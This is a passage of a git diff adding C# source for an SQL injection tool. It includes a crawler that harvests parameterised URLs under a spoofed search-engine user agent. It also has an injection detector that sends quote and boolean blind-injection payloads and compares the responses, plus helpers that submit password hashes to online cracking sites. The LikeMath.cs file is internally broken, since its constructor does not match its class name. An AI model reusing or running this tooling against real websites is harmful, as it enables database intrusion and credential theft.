sb.Append(data_value.Replace("{data}", data).Replace("{allcolumns}", Comm.unionColumns(columns, ",")).Replace("{dbname}", dbName).Replace("{table}", table).Replace("{index}", index)); + sb.Append(","); + sb.Remove(sb.Length - 1, 1); + return sb.ToString(); + } + + } +} diff --git a/SuperSQLInjection/scan/Spider.cs b/SuperSQLInjection/scan/Spider.cs new file mode 100644 index 0000000..72826a7 --- /dev/null +++ b/SuperSQLInjection/scan/Spider.cs @@ -0,0 +1,146 @@ +using System; +using System.Collections.Generic; +using System.Text; +using SuperSQLInjection.model; +using SuperSQLInjection.tools; +using tools; +using model; +using System.Text.RegularExpressions; +using System.Threading; +using System.Collections; + +namespace SuperSQLInjection.scan +{ + class Spider + { + + public List AllURL = new List(); + public List AllNoParamaValURL = new List();//用于去掉相似URL + public static Config config=null; + public static String reqestGetTemplate = "GET {url} HTTP/1.1\r\nUser-Agent: BaiduSpider\r\nAccept-Encoding: gzip, deflate\r\nHost: {host}"; + public static String reqestPOSTTemplate = "POST {url} HTTP/1.1\r\nUser-Agent: BaiduSpider\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 5\r\nHost: {host}\r\n\r\n{data}"; + public void findLinks(String url) + { + try + { + if (url.IndexOf("https") != -1) + { + config.useSSL = true; + } + else { + config.useSSL = false; + } + ServerInfo sever = URLTools.getHostAndPathQueryByURL(url); + Uri uri = new Uri(url); + String crequest = reqestGetTemplate.Replace("{url}", uri.PathAndQuery).Replace("{host}", uri.Host + ":" + uri.Port); + + String rootPath = ""; + if (("http".Equals(uri.Scheme) && uri.Port == 80) || ("https".Equals(uri.Scheme) && uri.Port == 443)) + { + + rootPath = uri.Scheme + "://" + uri.Host; + } + else + { + rootPath = uri.Scheme + "://" + uri.Host + ":" + uri.Port; + } + ServerInfo urlServer = sendHTTP(url.StartsWith("https",StringComparison.OrdinalIgnoreCase),sever.host, sever.port, crequest); + + String rootHost = Tools.getRootDomain(uri.Host); + //当前URL目录 + String cpath = rootPath + Tools.getCurrentPath(uri.AbsolutePath); + int count = 0; + if (urlServer != null) + { + //抓取连接+* + //Thread.Sleep(200); + Match m; + Regex reg = new Regex("href=(['\"\\S]?)(?[^'\"]*)", RegexOptions.IgnoreCase); + if (urlServer.code == 200 && urlServer.body.Length > 10) + { + for (m = reg.Match(urlServer.body); m.Success; m = m.NextMatch()) + { + String curl = m.Groups["href"].Value; + if (!String.IsNullOrEmpty(curl)) + { + if (!curl.Contains("?") || !curl.Contains("=")) + { + continue; + } + + if (curl.ToLower().Contains("javascript:")) + { + continue; + } + if (!curl.Contains(".") && !curl.Contains("/")) + { + continue; + } + if (curl.Contains(".css") || curl.Contains(".js") || curl.Contains(".jpg") || curl.Contains(".png") || curl.Contains(".ico") || curl.Contains(".gif")) + { + continue; + } + curl = curl.Replace("&", "&"); + if (curl.StartsWith("//")) + { + + curl = "http:" + curl; + + } + else if (curl.StartsWith("/")) + { + + curl = rootPath + curl; + + } + else if (curl.IndexOf("http://") == -1 && curl.IndexOf("www.") == -1 && curl.IndexOf(".com") == -1 && curl.IndexOf(".cn") == -1 && curl.IndexOf(".tw") == -1 && curl.IndexOf(".jp") == -1) + { + //相对路径 + + curl = cpath + curl; + } + + if (curl.IndexOf(">")!=-1) { + curl = curl.Substring(0, curl.IndexOf(">")); + } + + if (curl.Contains(rootHost)) + { + //过滤相似URL + String noValURL = Tools.clearURLParams(curl); + try + { + Uri cu = new Uri(curl); + if (!AllURL.Contains(curl) && !AllNoParamaValURL.Contains(noValURL)&&AllURL.Count jumpkeyList = FileTool.readFileToList("config/injection/jumpkey.txt"); + //错误注入关键字目录 + public static List errorDBList = FileTool.readAllDic("config/injection/error/"); + //盲注payload + public static List bool_payloads = FileTool.readFileToList("config/injection/injection.txt"); + public static List errer_code = new List(); + + public static void addErrorCode() + { + + errer_code.Add("501"); + errer_code.Add("503"); + errer_code.Add("403"); + errer_code.Add("502"); + errer_code.Add("400"); + errer_code.Add("401"); + errer_code.Add("0"); + } + + public static Injection testInjection(String url, Config config, Boolean justScanError) + { + + Injection injection = new Injection(); + try + { + + int index = url.IndexOf('?'); + if (index == -1) + { + + return injection; + } + injection.url = url; + String testUrl = Uri.EscapeUriString(url); + + Uri uri = new Uri(url); + bool isSSL = url.StartsWith("https", StringComparison.OrdinalIgnoreCase); + string queryString = (uri.Query != null && uri.Query.Length > 0) ? uri.Query.Substring(1, uri.Query.Length - 1) : ""; + + String[] strparams = queryString.Split('&'); + int timeout = 0;//超时5次,认为此URL为坏死URL + //对参数进行注入测试 + foreach (String param in strparams) + { + if (timeout >= 5) + { + break;//超时5次,认为此URL为坏死URL + } + if (param.IndexOf("=") == -1) { + continue; + } + String[] sprarm = param.Split('='); + + String pramName = sprarm[0]; + if (jumpkeyList.Contains(pramName)) + { + continue;//忽略扫描参数 + } + if (sprarm.Length <= 1) + { + continue; + } + String pramValue = sprarm[1]; + String payload = param + "%27"; + String curl = uri.PathAndQuery.Replace(param, payload); + injection.testUrl = testUrl.Replace(param, payload); + injection.paramName = sprarm[0]; + String oldrequest = Spider.reqestGetTemplate.Replace("{url}", uri.PathAndQuery).Replace("{host}", uri.Host + ":" + uri.Port); + String request = Spider.reqestGetTemplate.Replace("{url}", curl).Replace("{host}", uri.Host + ":" + uri.Port); + //通过错误显示判断 + + ServerInfo errorDBServer = HTTP.sendRequestRetry(isSSL, config.reTry, uri.Host, uri.Port, payload, request, config.timeOut, HTTP.AutoGetEncoding, config.is_foward_302, config.redirectDoGet); + if (errorDBServer.runTime > config.timeOut * 1000) timeout++; + if (errorDBServer.runTime > config.timeOut) timeout++; + + if (errorDBServer.body.Length == 0 | errorDBServer.code == 404) + { + continue; + } + + foreach (String eop in errorDBList) + { + List errorKeys = FileTool.readFileToList("config/injection/error/" + eop); + foreach (String key in errorKeys) + { + bool find = Regex.IsMatch(errorDBServer.body, key, RegexOptions.IgnoreCase); + if (find) + { + injection.isInjection = true; + injection.dbType = (eop.Replace(".txt", "")); + injection.payload = "'"; + injection.remark = "错误显示信息判断"; + injection.injectType = "错误显示"; + injection.dbType = eop; + return injection; + } + } + } + if (!injection.isInjection && justScanError == false) + { + + //读取bool payload + ServerInfo oserver = HTTP.sendRequestRetry(isSSL, config.reTry, uri.Host, uri.Port, "获取原始页面内容", oldrequest, config.timeOut, HTTP.AutoGetEncoding, config.is_foward_302, config.redirectDoGet); + if (oserver.runTime > config.timeOut * 1000) timeout++; + + if (bool_payloads.Count > 0) + { + + foreach (String bool_payload in bool_payloads) + { + String[] bool_ps = bool_payload.Split(':'); + + String flasePayload = pramName + "=" + URLEncode.UrlEncode(pramValue + bool_ps[1]); + String falseURL = uri.PathAndQuery.Replace(param, flasePayload); + injection.paramName = sprarm[0]; + injection.testUrl = testUrl.Replace(param, flasePayload); + + String falserequest = Spider.reqestGetTemplate.Replace("{url}", falseURL).Replace("{host}", uri.Host + ":" + uri.Port); + ServerInfo falseServer = HTTP.sendRequestRetry(isSSL, config.reTry, uri.Host, uri.Port, flasePayload, falserequest, config.timeOut, HTTP.AutoGetEncoding, false, config.redirectDoGet); + if (falseServer.runTime > config.timeOut * 1000) timeout++; + decimal pfalse = Tools.getLike(oserver.body, falseServer.body); + //静态参数 + if (pfalse > 99) + { + continue; + } + + String truePayload = pramName + "=" + URLEncode.UrlEncode(pramValue + bool_ps[0]); + String trueURL = uri.PathAndQuery.Replace(param, truePayload); + String truerequest = Spider.reqestGetTemplate.Replace("{url}", trueURL).Replace("{host}", uri.Host + ":" + uri.Port); + + ServerInfo trueServer = HTTP.sendRequestRetry(isSSL, config.reTry, uri.Host, uri.Port, truePayload, truerequest, config.timeOut, HTTP.AutoGetEncoding, false, config.redirectDoGet); + if (trueServer.runTime > config.timeOut*1000) timeout++; + //计算相似度 + decimal ptrue = Tools.getLike(oserver.body, trueServer.body); + if (ptrue < 85) + { + continue; + } + if (oserver.runTime > config.timeOut) timeout++; + injection.payload = bool_ps[1]; + injection.injectType = bool_ps[2]; + injection.dbType = "未知"; + + if (oserver.code != 404 && !errer_code.Contains(oserver.code.ToString()) && !errer_code.Contains(trueServer.code.ToString()) && !errer_code.Contains(falseServer.code.ToString()) && trueServer.body.Length > 0 && falseServer.body.Length > 0) + { + + //判断存在bool盲注 + //根据状态码判断 + if (oserver.code == trueServer.code && trueServer.code != falseServer.code) + { + injection.isInjection = true; + injection.remark = "状态码判断----" + oserver.code + "|" + trueServer.code + "|" + falseServer.code; + return injection; + } + + if (falseServer.body.Length < trueServer.body.Length) + { + /* + if (ptrue > pfalse) + { + + injection.isInjection = true; + injection.remark = "动态响应长度判断,相似度----" + ptrue + "|" + pfalse + "|" + p + "%"; + return injection; + }*/ + + + if (ptrue == 100) + { + + if (ptrue > pfalse) + { + injection.isInjection = true; + injection.remark = "固定长度,相似度--false|true--" + pfalse + "|" + ptrue + "%"; + return injection; + } + } + else { + + ServerInfo true1Server = HTTP.sendRequestRetry(isSSL, config.reTry, uri.Host, uri.Port, truePayload, truerequest.Replace("1%3d1", "2%3d2"), config.timeOut, HTTP.AutoGetEncoding, false, config.redirectDoGet); + if (true1Server.runTime > config.timeOut * 1000) timeout++; + decimal p = Tools.getLike(oserver.body, true1Server.body); + if (ptrue-pfalse>= 2 && Math.Abs(p - pfalse) >= 2) + { + injection.isInjection = true; + injection.remark = "动态长度,相似度--false|true1|true2--" + pfalse + "|" + ptrue + "|" + p + "%"; + return injection; + } + + + } + + + } + + + } + + } + } + + } + + + } + + } + catch (Exception e) + { + Tools.SysLog("判断注入发生异常!" + e.Message); + } + return injection; + } + + } +} \ No newline at end of file diff --git a/SuperSQLInjection/tools/LikeMath.cs b/SuperSQLInjection/tools/LikeMath.cs new file mode 100644 index 0000000..9b8d2d4 --- /dev/null +++ b/SuperSQLInjection/tools/LikeMath.cs @@ -0,0 +1,144 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.tools +{ + public class LikeMath + { + /// + /// 指定按照哪个列排序 + /// + private int ColumnToSort; + /**/ + /// + /// 指定排序的方式 + /// + private SortOrder OrderOfSort; + /**/ + /// + /// 声明CaseInsensitiveComparer类对象, + /// 参见ms-help://MS.VSCC.2003/MS.MSDNQTR.2003FEB.2052/cpref/html/frlrfSystemCollectionsCaseInsensitiveComparerClassTopic.htm + /// + private CaseInsensitiveComparer ObjectCompare; + + /**/ + /// + /// 构造函数 + /// + public ListViewColumnSorter() + { + // 默认按第一列排序 + ColumnToSort = 0; + + // 排序方式为不排序 + OrderOfSort = SortOrder.None; + + // 初始化CaseInsensitiveComparer类对象 + ObjectCompare = new CaseInsensitiveComparer(); + } + + /**/ + /// + /// 重写IComparer接口. + /// + /// 要比较的第一个对象 + /// 要比较的第二个对象 + /// 比较的结果.如果相等返回0,如果x大于y返回1,如果x小于y返回-1 + public int Compare(object x, object y) + { + int compareResult; + ListViewItem listviewX, listviewY; + + // 将比较对象转换为ListViewItem对象 + listviewX = (ListViewItem)x; + listviewY = (ListViewItem)y; + + // 比较 + compareResult = new MyCopare().Compare(listviewX.SubItems[ColumnToSort].Text, listviewY.SubItems[ColumnToSort].Text); + + // 根据上面的比较结果返回正确的比较结果 + if (OrderOfSort == SortOrder.Ascending) + { + // 因为是正序排序,所以直接返回结果 + return compareResult; + } + else if (OrderOfSort == SortOrder.Descending) + { + // 如果是反序排序,所以要取负值再返回 + return (-compareResult); + } + else + { + // 如果相等返回0 + return 0; + } + } + + /**/ + /// + /// 获取或设置按照哪一列排序. + /// + public int SortColumn + { + set + { + ColumnToSort = value; + } + get + { + return ColumnToSort; + } + } + + /**/ + /// + /// 获取或设置排序方式. + /// + public SortOrder Order + { + set + { + OrderOfSort = value; + } + get + { + return OrderOfSort; + } + } + } +} + diff --git a/SuperSQLInjection/tools/MyCopare.cs b/SuperSQLInjection/tools/MyCopare.cs new file mode 100644 index 0000000..98b98ad --- /dev/null +++ b/SuperSQLInjection/tools/MyCopare.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace SuperSQLInjection.tools +{ + class MyCopare : System.Collections.IComparer + { + public int Compare(object x, object y) + { + string s1 = (string)x; + + string s2 = (string)y; + + if (s1.Length > s2.Length) return 1; + + if (s1.Length < s2.Length) return -1; + + for (int i = 0; i < s1.Length; i++) + { + + if (s1[i] > s2[i]) return 1; + + if (s1[i] < s2[i]) return -1; + + } + + return 0; + + } + } +} diff --git a/SuperSQLInjection/tools/OnlineMD5.cs b/SuperSQLInjection/tools/OnlineMD5.cs new file mode 100644 index 0000000..8ea2175 --- /dev/null +++ b/SuperSQLInjection/tools/OnlineMD5.cs @@ -0,0 +1,77 @@ +using model; +using System; +using System.Collections.Generic; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; + +namespace SuperSQLInjection.tools +{ + class OnlineMD5 + { + + public static String decodeMD5_cmd5(String md5){ + ServerInfo server_index=HTTPRequest.getHtml("http://www.cmd5.com/",null,null); + String VIEWSTATE = Regex.Match(server_index.body, "VIEWSTATE\" value=\"(?\\S+)\"").Groups["result"].Value; + + String data = "__VIEWSTATE=" + VIEWSTATE + "&ctl00%24ContentPlaceHolder1%24TextBoxInput=" + md5 + "&ctl00%24ContentPlaceHolder1%24InputHashType=md5&ctl00%24ContentPlaceHolder1%24Button1=%E8%A7%A3%E5%AF%86"; + ServerInfo server_result = HTTPRequest.getHtmlByPost("http://www.cmd5.com", data, "http://www.cmd5.com/", server_index.cookies); + String result = Regex.Match(server_result.body, "Answer\">(?\\S+)\\S+)\"").Groups["result"].Value; + String sand = Regex.Match(server_index.body, "sand\" value=\"(?\\S+)\"").Groups["result"].Value; + if (token.Length > 1) { + + ServerInfo server_result = HTTPRequest.getHtmlByPost("http://www.md5.com.cn/md5reverse", "md=" + md5 + "&sand=" + sand + "&token=" + token + "&submit=MD5+Crack", "http://www.md5.com.cn/", server_index.cookies); + String result = Regex.Match(server_result.body, "green\">(?\\S+)").Groups["result"].Value; + return result; + } + return "接口异常"; + + } + public static String decodeMD5_xmd5_org(String md5) + { + + ServerInfo server_index = HTTPRequest.getHtml("http://www.xmd5.org", null, null); + + ServerInfo server_result = HTTPRequest.getHtml("http://www.xmd5.org/md5/search.asp?hash="+md5+"&xmd5=MD5+%BD%E2%C3%DC", "http://www.xmd5.org/", server_index.cookies); + String result = Regex.Match(server_result.body, "ff\" size=\"3\">(?\\S+) ").Groups["result"].Value; + return result; + } + + public static String decodeMD5_somd5_com(String md5) + { + + ServerInfo server_result = HTTPRequest.getHtmlByPost("http://www.somd5.com/somd5-index-md5.html", "isajax=sJUVsBd1XOzFDPynHEfSnSt&md5=" + md5, "http://www.somd5.com/", null); + String result = Regex.Match(server_result.body, "inline;\">(?\\S+)").Groups["result"].Value; + return result; + } + public static String decodeMD5_md5_cc(String md5) + { + + ServerInfo server_result = HTTPRequest.getHtml("http://www.md5.cc/ShowMD5Info.asp?GetType=ShowInfo&md5_str="+md5, "http://www.md5.cc/", null); + String result = Regex.Match(server_result.body, "px\">(?\\S+)").Groups["result"].Value; + return result; + } + + public static String decodeMD5_pmd5_com(String md5) + { + ServerInfo server_index = HTTPRequest.getHtml("http://pmd5.com/", null, null); + String VIEWSTATE = Regex.Match(server_index.body, "VIEWSTATE\" value=\"(?\\S+)\"").Groups["result"].Value; + String EVENTVALIDATION = Regex.Match(server_index.body, "EVENTVALIDATION\" value=\"(?\\S+)\"").Groups["result"].Value; + + String data = "__VIEWSTATE=" + VIEWSTATE + "&__EVENTVALIDATION=" + EVENTVALIDATION + "&key=" + md5 + "&jiemi=MD5%E8%A7%A3%E5%AF%86"; + ServerInfo server_result = HTTPRequest.getHtmlByPost("http://pmd5.com/?action=getpwd", data, "http://pmd5.com/", server_index.cookies); + String result = Regex.Match(server_result.body, "为“(?\\S+)").Groups["result"].Value; + return result; + + } + } +} diff --git a/SuperSQLInjection/tools/StringLengthComparer.cs b/SuperSQLInjection/tools/StringLengthComparer.cs new file mode 100644 index 0000000..0cbec8c --- /dev/null +++ b/SuperSQLInjection/tools/StringLengthComparer.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace tools +{ + class StringLengthComparer : System.Collections.IComparer + { + public int Compare(object x, object y) + { + string s1 = (string)x; + + string s2 = (string)y; + + if (s1.Length > s2.Length) return -1; + + if (s1.Length < s2.Length) return 1; + return 0; + + } + + } +} diff --git a/SuperSQLInjection/tools/Tools.cs b/SuperSQLInjection/tools/Tools.cs new file mode 100644 index 0000000..7720448 --- /dev/null +++ b/SuperSQLInjection/tools/Tools.cs @@ -0,0 +1,723 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.IO; +using System.Net; +using System.Text.RegularExpressions; +using System.Net.Sockets; +using System.Threading; +using tools; +using model; +using System.Globalization; +using System.Security.Cryptography; +using System.Windows.Forms; +using SuperSQLInjection.model; +using SuperSQLInjection; +using SuperSQLInjection.tools; + +namespace tools +{ + class Tools + { + public const String httpLogPath = "logs/http/"; + + public static long currentMillis() + { + return (long)(DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds; + } + public static bool ThreadPoolIsEnd() + { + int workerThreads = 0; + int maxWordThreads = 0; + //int + int compleThreads = 0; + ThreadPool.GetAvailableThreads(out workerThreads, out compleThreads); + ThreadPool.GetMaxThreads(out maxWordThreads, out compleThreads); + + if (maxWordThreads == workerThreads) + { + return true; + } + else { + return false; + } + } + + public static void SysLog(String log) + { + FileTool.AppendLogToFile("logs/" + DateTime.Now.ToLongDateString() + ".log.txt", log + "----" + DateTime.Now); + } + + public static String RandStr(int len) + { + StringBuilder str = new StringBuilder(); + Random rd = new Random(); + for (int i=0;i + /// 二分法取较大整数,用于盲注判断 + /// + /// + /// + /// + public static int getLargeNum(int start,int end){ + + int sum=start+end; + if (sum == 1) { + return 0; + } + if (sum % 2 == 0) + { + return sum / 2; + } + else { + return sum / 2; + } + + } + + + public static String unHexByUnicode(int unicode,String encoding){ + + int c = Tools.UnicodeInt2UTF8Int(unicode); + return Tools.unHex(Convert.ToString(c, 16), encoding); + + } + + public static String hexToRaw(string str,String encoding){ + if (str.Length % 2 == 0) + { + byte[] b = new byte[str.Length / 2]; + int j = 0; + for (int i = 0; i < str.Length; i += 2){ + byte by = Convert.ToByte(str.Substring(i, 2), 16);//取两个字符,转换成对应的字节 + b[j] = by; + j++; + } + return Encoding.GetEncoding(encoding).GetString(b); + } + else{ + throw new Exception("不能将该字符串转换成String类型!"); + } + } + + public static void sysHTTPLog(String index ,ServerInfo server) + { + FileTool.AppendLogToFile(httpLogPath + index + "-request.txt", server.request); + FileTool.AppendLogToFile(httpLogPath + index + "-response.txt", server.header + "\r\n\r\n" + server.body); + } + + public static void delHTTPLog() + { + try + { + DirectoryInfo din = new DirectoryInfo(httpLogPath); + FileInfo[] files = din.GetFiles(); + foreach (FileInfo f in files) + { + f.Delete(); + } + } + catch (Exception re) + { + Tools.SysLog("删除HTTP日志发生错误!" + re.Message); + } + } + + + /// + /// Hex解码 + /// + /// Hex编码 + /// 字符编码 + /// + public static string unHex(string hex, string charset){ + if (hex == null)throw new ArgumentNullException("hex"); + hex = hex.Replace(",", ""); + hex = hex.Replace("\n", ""); + hex = hex.Replace("\\", ""); + hex = hex.Replace(" ", ""); + if (hex.Length % 2 != 0){ + hex += "20";//空格 + } + // 需要将 hex 转换成 byte 数组。 + byte[] bytes = new byte[hex.Length / 2]; + for (int i = 0; i < bytes.Length; i++){ + try{ + // 每两个字符是一个 byte。 + bytes[i] = byte.Parse(hex.Substring(i * 2, 2), + System.Globalization.NumberStyles.HexNumber); + } catch{ + // Rethrow an exception with custom message. + SysLog("unHex解码错误---hex is not a valid hex number!"); + } + } + Encoding chs = Encoding.GetEncoding(charset); + return chs.GetString(bytes); + } + /// + /// 将数组转换成字符串 + /// + /// + /// + public static String convertToString(String[] strs){ + + StringBuilder sb = new StringBuilder(); + foreach(String s in strs){ + sb.Append(s); + } + return sb.ToString(); + + } + + /// + /// 将字符串转换成数字,错误返回0 + /// + /// 字符串 + /// + public static int convertToInt(String str) + { + + try + { + return int.Parse(str); + } + catch (Exception e) { + Tools.SysLog("info:-"+e.Message); + } + return 0; + + } + /// + /// 将16进制转换成10进制 + /// + /// 16进制字符串 + /// + public static int convertToIntBy16(String str) + { + try + { + return Convert.ToInt32(str,16); + } + catch (Exception e) + { + + } + return 0; + + } + + public static int findKeyCount(String str,String key) + { + int count = 0; + try + { + if (!String.IsNullOrEmpty(str)) + { + int index = 0; + + while (index != -1) + { + index = str.IndexOf(key, index + 1); + if (index != -1) + { + count++; + } + } + } + } + catch (Exception e) + { + Tools.SysLog("findKeyCount发生异常!"+e.Message); + } + return count; + + } + + public static Boolean checkEmpty(String str) { + + if (str != null && str.Length > 0) + { + return false; + } + else { + return true; + } + } + + public static String StringArrayToString(String[] array) + { + StringBuilder sb = new StringBuilder(); + foreach (String s in array) { + + if (s != null) + { + + sb.Append(s); + } + else { + + sb.Append("_"); + } + + } + return sb.ToString(); + } + /// + /// 判断页面注入true或false + /// + /// 服务器响应对象ServerInfo + /// 是否使用状态码判断 + /// 关键字 + /// + public static Boolean isTrue(ServerInfo server,String key,Boolean reverKey,KeyType keyType) + { + switch (keyType) { + case KeyType.Key: + + //用关键字判断 + if (server.body.Length > 0 && server.body.IndexOf(key) != -1) + { + if (reverKey) + { + return false; + } + return true; + } + else + { + if (reverKey) + { + return true; + } + return false; + } + + case KeyType.Code: + //用状态码判断 + if (server.code > 0 && key.Equals(server.code + "")) + { + if (reverKey) + { + return false; + } + return true; + } + else + { + if (reverKey) + { + return true; + } + return false; + } + case KeyType.Length: + //用长度判断 + if (key.Equals(server.length.ToString())) + { + if (reverKey) + { + return false; + } + return true; + } + else + { + if (reverKey) + { + return true; + } + return false; + } + + case KeyType.Time: + int time = Tools.convertToInt(key); + if (server.runTime > time*1000) + { + if (reverKey) + { + return false; + } + return true; + } + else + { + if (reverKey) + { + return true; + } + return false; + } + + } + return false; + + } + + public static String strToHex(String str,String encode) + { + try + { + + StringBuilder sb = new StringBuilder();// 存储转换后的编码 + Byte[] strByte=Encoding.GetEncoding(encode).GetBytes(str); + foreach (Byte s in strByte) + { + sb.Append(s.ToString("x").PadLeft(2, '0')); + } + return "0x" + sb.ToString(); + + + } + catch (Exception e) + { + Tools.SysLog("hex转换错误,传递str:" + str + ",encode:" + encode + "!错误消息:" + e.Message); + } + return ""; + } + public static int UnicodeInt2UTF8Int(int UnicodeInt) + { + if (UnicodeInt < 128) + { + return UnicodeInt; + } + int num = UnicodeInt >> 12 & 15; + int num2 = UnicodeInt >> 6 & 63; + int num3 = UnicodeInt & 63; + return (num + 224 << 16) + (num2 + 128 << 8) + (num3 + 128); + } + + public static int UTF8Int2UnicodeInt(int UTF8Int) + { + if (UTF8Int < 128) + { + return UTF8Int; + } + int num = UTF8Int >> 16 & 15; + int num2 = UTF8Int >> 8 & 63; + int num3 = UTF8Int & 63; + return (num << 12) + (num2 << 6) + num3; + } + + public static String randIP() + { + Random rd = new Random(); + + String ip = rd.Next(1, 255) + "." + rd.Next(1, 255) + "." + rd.Next(1, 255) + "." + rd.Next(1, 255); + + return ip; + } + + public static String stringToAscii(String str) + { + char[] cstr = str.ToCharArray(); + StringBuilder sb = new StringBuilder(); + foreach (char c in cstr) { + sb.Append(Convert.ToInt32(c) + " "); + } + if (sb.Length > 1) { + sb.Remove(sb.Length - 1, 1); + } + return sb.ToString(); + } + + public static String asciiToString(String str) + { + try + { + String[] sstr = str.Split(' '); + StringBuilder sb = new StringBuilder(); + foreach (String c in sstr) + { + sb.Append(((char)(int.Parse(c)))); + } + return sb.ToString(); + } + catch (Exception e) { + + Tools.SysLog("waring:asciiToString发生错误,"+e.Message); + + } + return ""; + } + + public static decimal getLike(String body1, String body2) + { + + String[] keys1 = Regex.Split(body1, "[^\\u0080-\\uFFFF\\w\\-\\d]+"); + String[] keys2 = Regex.Split(body2, "[^\\u0080-\\uFFFF\\w\\-\\d]+"); + + HashSet hash1 = new HashSet(); + HashSet hash2 = new HashSet(); + foreach (String key in keys1) + { + if (!hash1.Contains(key)) + { + hash1.Add(key); + } + } + foreach (String key in keys2) + { + if (!hash2.Contains(key)) + { + hash2.Add(key); + } + } + int count = 0; + foreach (String key in hash2) + { + if (hash1.Contains(key)) + { + count++; + } + } + decimal p = 0; + if (hash1.Count > 0) + { + decimal cc = (decimal)((float)count * 100 / hash1.Count); + p = decimal.Round(cc, 2); + } + return p; + } + + public static String findKeyByStr(String trueString, String falseString, String oldString) + { + try + { //以时间判断 + String key = ""; + + String[] Keys = Regex.Split(oldString, "[^\\u0080-\\uFFFF\\w\\d]+"); + Array.Sort(Keys, new StringLengthComparer()); + foreach (String ckey in Keys) { + if (falseString.IndexOf(ckey) == -1 && trueString.IndexOf(ckey) >= 0) { + return ckey; + } + } + for (int length = 5; length >= 1; length--) + { + for (int i = 0; i < trueString.Length - length; i++) + { + if (trueString.Length <= length && !trueString.Equals(falseString)) + { + return trueString; + } + String tempKey = trueString.Substring(i, length); + if (falseString.IndexOf(tempKey) == -1&& oldString.IndexOf(key)>=0) + { + key = tempKey; + Regex regex = new Regex("[\\S]+"); + //非制表符,返回结果,否则继续查看是否还有其他关键词 + if (regex.IsMatch(key)) { + return key; + } + } + + } + + } + return key; + + } + catch (Exception e) + { + + Tools.SysLog("warin:查找注入关键字发生错误," + e.Message); + + } + return ""; + } + public static int findKeyByCode(int trueCode, int falseCode) + { + if (trueCode != falseCode) { + return trueCode; + } + return 0; + + } + + public static int findKeyByTime(int trueTime, int falseTime,int maxTime) + { + if (trueTime > maxTime&&falseTime 0) + { + return url.Substring(0,index); + + } + else { + + return url; + } + } + + public static String getCurrentPath(String url) + { + int index =url.LastIndexOf("/"); + + if (index != -1) + { + return url.Substring(0,index)+"/"; + } + else { + return ""; + } + } + + public static String getRootDomain(String domain) + { + int index = domain.LastIndexOf("."); + + if (index>0) + { + int index2 = domain.LastIndexOf(".", index - 1); + if (index2 != -1) + { + return domain.Substring(index2+1); + } + + } + return domain; + } + + public static String md5_16(String str){ + MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider(); + String t2 = BitConverter.ToString(md5.ComputeHash(UTF8Encoding.UTF8.GetBytes(str)), 4, 8); + t2 = t2.Replace("-", ""); + t2 = t2.ToLower(); + return t2; + } + public static String md5_32(String str) + { + MD5 md5 = MD5.Create();//实例化一个md5对像 + // 加密后是一个字节类型的数组,这里要注意编码UTF8/Unicode等的选择  + byte[] s = md5.ComputeHash(Encoding.UTF8.GetBytes(str)); + // 通过使用循环,将字节类型的数组转换为字符串,此字符串是常规字符格式化所得 + String pwd = ""; + for (int i = 0; i < s.Length; i++) + { + //将得到的字符串使用十六进制类型格式。格式后的字符是小写的字母,如果使用大写(X)则格式后的字符是大写字符 + pwd = pwd + s[i].ToString("X"); + } + return pwd; + + } + public static bool isExistsNode(TreeNodeCollection tvws, String key) + { + + foreach (TreeNode tn in tvws) + { + + if (tn.Text.Equals(key)) + { + return true; + } + } + + return false; + + } + + + public static String changeRequestMethod(String datapack) + { + if (datapack.StartsWith("GET")) + { + int pl = datapack.IndexOf("?"); + if (pl != -1) { + int el = datapack.IndexOf(" ",pl); + if (el != -1) { + + String cparams= datapack.Substring(pl+1,el-pl-1); + datapack = datapack.Replace("?"+ cparams,""); + int sl= datapack.IndexOf("\r\n"); + datapack= datapack.Insert(sl, "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0"); + int ssl = datapack.IndexOf("\r\n\r\n"); + if (!datapack.EndsWith("\r\n\r\n")) { + + datapack += "\r\n\r\n"; + } + datapack+=cparams; + + int me = datapack.IndexOf(" "); + if (me != -1) { + + datapack = "POST" + datapack.Substring(me, datapack.Length - me); + } + + return datapack; + } + } + } + + else if (datapack.StartsWith("POST")) + { + int ssl = datapack.IndexOf("\r\n\r\n"); + + if (ssl != -1) { + + + String cparams = datapack.Substring(ssl+4,datapack.Length- ssl - 4); + datapack = datapack.Substring(0, ssl+1); + int cys = datapack.IndexOf("Content-Type"); + int cye = datapack.IndexOf("\r\n",cys); + + if (cye > cys) { + datapack=datapack.Remove(cys, cye - cys+2); + } + int cls = datapack.IndexOf("Content-Length"); + int cle = datapack.IndexOf("\r\n", cls+1); + if (cle > cls) + { + datapack = datapack.Remove(cls, cle - cls+2); + } + + int hl = datapack.IndexOf(" HTTP"); + if (hl != -1) { + + datapack = datapack.Insert(hl, "?"+cparams); + } + + int me = datapack.IndexOf(" "); + + if (me != -1) + { + + datapack = "GET" + datapack.Substring(me, datapack.Length - me); + } + } + } + + return datapack; + + } + } +} diff --git a/SuperSQLInjection/tools/XML.cs b/SuperSQLInjection/tools/XML.cs new file mode 100644 index 0000000..24e16c4 --- /dev/null +++ b/SuperSQLInjection/tools/XML.cs @@ -0,0 +1,124 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Xml; +using SuperSQLInjection.model; +using System.IO; +using System.Xml.Serialization; +using System.Windows.Forms; + +namespace SuperSQLInjection.tools +{ + class XML + { + public static Boolean SaveMyConfig(){ + XmlDocument doc = new XmlDocument(); + XmlDeclaration xdl= doc.CreateXmlDeclaration("1.0", "UTF-8", null); + doc.AppendChild(xdl); + return true; + } + + public static void saveConfig(String fileName,Config config) + { + Stream fStream = null; + try + { + fStream = new FileStream(fileName, FileMode.Create, FileAccess.ReadWrite); + //创建XML序列化器,需要指定对象的类型 + XmlSerializer xmlFormat = new XmlSerializer(typeof(Config)); + xmlFormat.Serialize(fStream, config); + + } + catch (Exception e) + { + + throw e; + } + finally { + if(fStream!=null){ + fStream.Close(); + } + + } + } + + public static Config readConfig(String 